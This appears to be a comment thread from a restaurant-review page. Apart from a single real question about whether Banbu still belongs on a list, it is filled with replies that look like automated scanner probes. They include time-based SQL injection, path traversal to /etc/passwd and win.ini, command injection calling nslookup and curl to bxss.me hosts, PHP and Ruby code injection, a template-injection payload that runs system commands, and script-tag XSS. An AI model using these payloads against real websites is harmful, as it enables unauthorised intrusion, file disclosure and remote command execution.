'||(select 1 from (select pg_sleep(15))x)||'
re: mirugai
''||(select 1 from (select pg_sleep(15))x)||''
re: mirugai
'"
re: mirugai
@@4Zmlr
re: mirugai
(select 198766*667891)
re: mirugai
(select 198766*667891 from DUAL)
Hi Saito-san, should Banbu not fit on this list anymore, or did you have a bad experience lately?
re: Eric Yu
UaLVKrAX
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
-1 OR 2+950-950-1=0+0+0+1
re: Eric Yu
-1 OR 3+950-950-1=0+0+0+1
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
vP7jD2qy'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 313=(SELECT 313 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 756=(SELECT 756 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 122=(SELECT 122 FROM PG_SLEEP(15))--
re: Eric Yu
N591Lu1I' OR 530=(SELECT 530 FROM PG_SLEEP(15))--
re: Eric Yu
9cKIXTw6') OR 705=(SELECT 705 FROM PG_SLEEP(15))--
re: Eric Yu
v0BHTBcP')) OR 271=(SELECT 271 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@Zs38i
re: Eric Yu
74xpoISU
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
-1 OR 2+951-951-1=0+0+0+1
re: Eric Yu
-1 OR 3+951-951-1=0+0+0+1
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
wZnbfk96'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 867=(SELECT 867 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 968=(SELECT 968 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 724=(SELECT 724 FROM PG_SLEEP(15))--
re: Eric Yu
a1z1UpGR' OR 93=(SELECT 93 FROM PG_SLEEP(15))--
re: Eric Yu
ikVWTKbQ') OR 992=(SELECT 992 FROM PG_SLEEP(15))--
re: Eric Yu
lkcP20Yk')) OR 252=(SELECT 252 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@EGgVh
re: Eric Yu
1gkdmma4O
re: Eric Yu
%0abcc:074625.67-10230.67.c5753.19990.2@bxss.me
re: Eric Yu
response.write(9117049*9393886)
re: Eric Yu
to@example.com>%0d%0abcc:074625.67-10231.67.c5753.19990.2@bxss.me
re: Eric Yu
'+response.write(9117049*9393886)+'
re: Eric Yu
<esi:include src="http://bxss.me/rpb.png"/>
re: Eric Yu
"+response.write(9117049*9393886)+"
re: Eric Yu
${10000189+9999268}
re: Eric Yu
../../../../../../../../../../../../../../etc/passwd
re: Eric Yu
../../../../../../../../../../../../../../windows/win.ini
re: Eric Yu
file:///etc/passwd
re: Eric Yu
../../../../../../../../../../../../../../../proc/version
re: Eric Yu
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: Eric Yu
'.gethostbyname(lc('hitms'.'lvnugyxq094cc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(83).chr(99).chr(81).'
re: Eric Yu
)
re: Eric Yu
../../../../../../../../../../etc/passwd%00.jpg
re: Eric Yu
".gethostbyname(lc("hitxj"."bsjqlyyk6166d.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(84).chr(117).chr(76)."
re: Eric Yu
!(()&&!|*|*|
re: Eric Yu
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: Eric Yu
^(#$!@#$)(()))******
re: Eric Yu
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: Eric Yu
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: Eric Yu
/etc/passwd
re: Eric Yu
echo whyswa$()\ oimayz\nz^xyu||a #' &echo whyswa$()\ oimayz\nz^xyu||a #|" &echo whyswa$()\ oimayz\nz^xyu||a #
re: Eric Yu
%2fetc%2fpasswd
re: Eric Yu
&echo grmdxr$()\ esryrr\nz^xyu||a #' &echo grmdxr$()\ esryrr\nz^xyu||a #|" &echo grmdxr$()\ esryrr\nz^xyu||a #
re: Eric Yu
/.././.././.././.././.././.././.././../etc/./passwd%00
re: Eric Yu
HttP://bxss.me/t/xss.html?%00
re: Eric Yu
|echo dvcjhm$()\ wiuywy\nz^xyu||a #' |echo dvcjhm$()\ wiuywy\nz^xyu||a #|" |echo dvcjhm$()\ wiuywy\nz^xyu||a #
re: Eric Yu
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: Eric Yu
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: Eric Yu
"+"A".concat(70-3).concat(22*4).concat(113).concat(79).concat(117).concat(73)+(require"socket"
Socket.gethostbyname("hitwu"+"edpnavmbb33af.bxss.me.")[3].to_s)+"
re: Eric Yu
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Eric Yu
bxss.me/t/xss.html?%00
re: Eric Yu
(nslookup hitjplmunqctr1e610.bxss.me||perl -e "gethostbyname('hitjplmunqctr1e610.bxss.me')")
re: Eric Yu
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: Eric Yu
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: Eric Yu
'+'A'.concat(70-3).concat(22*4).concat(98).concat(79).concat(106).concat(76)+(require'socket'
Socket.gethostbyname('hitbv'+'hgxnwewd0c7bf.bxss.me.')[3].to_s)+'
re: Eric Yu
';print(md5(31337));$a='
re: Eric Yu
$(nslookup hitfzdnyjjbtv4b757.bxss.me||perl -e "gethostbyname('hitfzdnyjjbtv4b757.bxss.me')")
re: Eric Yu
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: Eric Yu
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: Eric Yu
Http://bxss.me/t/fit.txt
re: Eric Yu
";print(md5(31337));$a="
re: Eric Yu
&nslookup hituamzfzkhtce1181.bxss.me&'\"`0&nslookup hituamzfzkhtce1181.bxss.me&`'
re: Eric Yu
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: Eric Yu
http://bxss.me/t/fit.txt%3F.jpg
re: Eric Yu
${@print(md5(31337))}
re: Eric Yu
&(nslookup hitszlmvpklynab5cf.bxss.me||perl -e "gethostbyname('hitszlmvpklynab5cf.bxss.me')")&'\"`0&(nslookup hitszlmvpklynab5cf.bxss.me||perl -e "gethostbyname('hitszlmvpklynab5cf.bxss.me')")&`'
re: Eric Yu
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: Eric Yu
/etc/shells
re: Eric Yu
${@print(md5(31337))}\
re: Eric Yu
|(nslookup hituaallttkcq5ba0f.bxss.me||perl -e "gethostbyname('hituaallttkcq5ba0f.bxss.me')")
re: Eric Yu
file:///etc/passwd
re: Eric Yu
c:/windows/win.ini
re: Eric Yu
'.print(md5(31337)).'
re: Eric Yu
'"
re: Eric Yu
`(nslookup hituqicltfvfr4fba4.bxss.me||perl -e "gethostbyname('hituqicltfvfr4fba4.bxss.me')")`
re: Eric Yu
/\../\../\../\../\../\../\../etc/passwd
re: Eric Yu
bxss.me
re: Eric Yu
<!--
re: Eric Yu
;(nslookup hitucccztdrbc250ea.bxss.me||perl -e "gethostbyname('hitucccztdrbc250ea.bxss.me')")|(nslookup hitucccztdrbc250ea.bxss.me||perl -e "gethostbyname('hitucccztdrbc250ea.bxss.me')")&(nslookup hitucccztdrbc250ea.bxss.me||perl -e "gethostbyname('hitucccztdrbc250ea.bxss.me')")
re: Eric Yu
/WEB-INF/web.xml
re: Eric Yu
C:\WINDOWS\system32\drivers\etc\hosts
re: Eric Yu
../../../../../../../../../../windows/win.ini%00.jpg
re: Eric Yu
/../../../../../../../../../../boot.ini
re: Eric Yu
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: Eric Yu
..\..\..\..\..\..\..\..\windows\win.ini
re: Eric Yu
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: Eric Yu
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: Eric Yu
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: Eric Yu
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: Eric Yu
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: Eric Yu
WEB-INF/web.xml
re: Eric Yu
WEB-INF\web.xml
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
-1 OR 2+127-127-1=0+0+0+1 --
re: Eric Yu
-1 OR 3+127-127-1=0+0+0+1 --
re: Eric Yu
-1 OR 2+204-204-1=0+0+0+1
re: Eric Yu
-1 OR 3+204-204-1=0+0+0+1
re: Eric Yu
-1' OR 2+821-821-1=0+0+0+1 --
re: Eric Yu
-1' OR 3+821-821-1=0+0+0+1 --
re: Eric Yu
-1' OR 2+748-748-1=0+0+0+1 or 'lCDIje9g'='
re: Eric Yu
-1' OR 3+748-748-1=0+0+0+1 or 'lCDIje9g'='
re: Eric Yu
-1" OR 2+558-558-1=0+0+0+1 --
re: Eric Yu
-1" OR 3+558-558-1=0+0+0+1 --
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
WKeiLhvI'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 655=(SELECT 655 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 521=(SELECT 521 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 395=(SELECT 395 FROM PG_SLEEP(15))--
re: Eric Yu
rcA1Rkkz' OR 694=(SELECT 694 FROM PG_SLEEP(15))--
re: Eric Yu
6YAtn9JQ') OR 210=(SELECT 210 FROM PG_SLEEP(15))--
re: Eric Yu
69tZxb1f')) OR 644=(SELECT 644 FROM PG_SLEEP(15))--
re: Eric Yu
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@kYert
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1NLMBB7BT0
re: Eric Yu
response.write(9399591*9855721)
re: Eric Yu
'+response.write(9399591*9855721)+'
re: Eric Yu
"+response.write(9399591*9855721)+"
re: Eric Yu
../../../../../../../../../../../../../../etc/passwd
re: Eric Yu
../../../../../../../../../../../../../../windows/win.ini
re: Eric Yu
<esi:include src="http://bxss.me/rpb.png"/>
re: Eric Yu
file:///etc/passwd
re: Eric Yu
${9999535+9999849}
re: Eric Yu
../
re: Eric Yu
redirtest.acx
re: Eric Yu
)
re: Eric Yu
!(()&&!|*|*|
re: Eric Yu
^(#$!@#$)(()))******
re: Eric Yu
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: Eric Yu
'.gethostbyname(lc('hitja'.'atbylmkb8ee86.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(65).chr(122).chr(78).'
re: Eric Yu
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: Eric Yu
echo jselfz$()\ wfqrrh\nz^xyu||a #' &echo jselfz$()\ wfqrrh\nz^xyu||a #|" &echo jselfz$()\ wfqrrh\nz^xyu||a #
re: Eric Yu
".gethostbyname(lc("hitmx"."scabsptb8d74d.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(80).chr(113).chr(85)."
re: Eric Yu
/etc/shells
re: Eric Yu
&echo dgytnh$()\ mpifxc\nz^xyu||a #' &echo dgytnh$()\ mpifxc\nz^xyu||a #|" &echo dgytnh$()\ mpifxc\nz^xyu||a #
re: Eric Yu
gethostbyname(lc('hitwj'.'zqwoklfc891d8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(74).chr(116).chr(67)
re: Eric Yu
../../../../../../../../../../../../../../etc/shells
re: Eric Yu
|echo zezssm$()\ jbmrrj\nz^xyu||a #' |echo zezssm$()\ jbmrrj\nz^xyu||a #|" |echo zezssm$()\ jbmrrj\nz^xyu||a #
re: Eric Yu
c:/windows/win.ini
re: Eric Yu
expr 9000544623 - 954837
re: Eric Yu
(nslookup -q=cname hittdxwghsupz2b277.bxss.me||curl hittdxwghsupz2b277.bxss.me))
re: Eric Yu
bxss.me
re: Eric Yu
Http://bxss.me/t/fit.txt
re: Eric Yu
$(nslookup -q=cname hitnfrbfsbkwo14565.bxss.me||curl hitnfrbfsbkwo14565.bxss.me)
re: Eric Yu
ctime
sleep
p0
(I30
tp1
Rp2
.
re: Eric Yu
http://bxss.me/t/fit.txt?.jpg
re: Eric Yu
&nslookup -q=cname hitgvpmkrsgwy08409.bxss.me&'\"`0&nslookup -q=cname hitgvpmkrsgwy08409.bxss.me&`'
re: Eric Yu
&(nslookup -q=cname hitduvtzgjdka10ce6.bxss.me||curl hitduvtzgjdka10ce6.bxss.me)&'\"`0&(nslookup -q=cname hitduvtzgjdka10ce6.bxss.me||curl hitduvtzgjdka10ce6.bxss.me)&`'
re: Eric Yu
|(nslookup -q=cname hitjccjjepgqnad4da.bxss.me||curl hitjccjjepgqnad4da.bxss.me)
re: Eric Yu
`(nslookup -q=cname hitcgxvlavoaed085c.bxss.me||curl hitcgxvlavoaed085c.bxss.me)`
re: Eric Yu
;(nslookup -q=cname hithoaguwuxvmff910.bxss.me||curl hithoaguwuxvmff910.bxss.me)|(nslookup -q=cname hithoaguwuxvmff910.bxss.me||curl hithoaguwuxvmff910.bxss.me)&(nslookup -q=cname hithoaguwuxvmff910.bxss.me||curl hithoaguwuxvmff910.bxss.me)
re: Eric Yu
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Eric Yu
'"()
re: Eric Yu
|(nslookup${IFS}-q${IFS}cname${IFS}hitzdnzqvsptla2ee1.bxss.me||curl${IFS}hitzdnzqvsptla2ee1.bxss.me)
re: Eric Yu
';print(md5(31337));$a='
re: Eric Yu
'&&sleep(27*1000)*scvjja&&'
re: Eric Yu
&(nslookup${IFS}-q${IFS}cname${IFS}hitfrlbmnacqsc034d.bxss.me||curl${IFS}hitfrlbmnacqsc034d.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitfrlbmnacqsc034d.bxss.me||curl${IFS}hitfrlbmnacqsc034d.bxss.me)&`'
re: Eric Yu
";print(md5(31337));$a="
re: Eric Yu
"&&sleep(27*1000)*zafwza&&"
re: Eric Yu
${@print(md5(31337))}
re: Eric Yu
'||sleep(27*1000)*udxxnv||'
re: Eric Yu
HttP://bxss.me/t/xss.html?%00
re: Eric Yu
${@print(md5(31337))}\
re: Eric Yu
"||sleep(27*1000)*idpqhy||"
re: Eric Yu
bxss.me/t/xss.html?%00
re: Eric Yu
'.print(md5(31337)).'
re: Eric Yu
"+"A".concat(70-3).concat(22*4).concat(102).concat(77).concat(100).concat(79)+(require"socket"
Socket.gethostbyname("hitzr"+"vulrdwzl76c26.bxss.me.")[3].to_s)+"
re: Eric Yu
'+'A'.concat(70-3).concat(22*4).concat(116).concat(72).concat(107).concat(88)+(require'socket'
Socket.gethostbyname('hitkt'+'baghotzy684e9.bxss.me.')[3].to_s)+'
re: Eric Yu
'A'.concat(70-3).concat(22*4).concat(114).concat(65).concat(120).concat(75)+(require'socket'
Socket.gethostbyname('hitsc'+'vrmgcayof06e9.bxss.me.')[3].to_s)
re: Eric Yu
replies
re: Eric Yu
replies
re: Eric Yu
'"
re: Eric Yu
replies/.
re: Eric Yu
<!--
re: Eric Yu
'"()&%<zzz><ScRiPt >36MM(9378)</ScRiPt>
re: Eric Yu
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitaimgyksfrw2b917.bxss.me")}}
re: Eric Yu
'"()&%<zzz><ScRiPt >36MM(9844)</ScRiPt>
re: Eric Yu
9040756
re: Eric Yu
m7nzIpBF
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
7pjLfRgJ'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 628=(SELECT 628 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 681=(SELECT 681 FROM PG_SLEEP(15))--
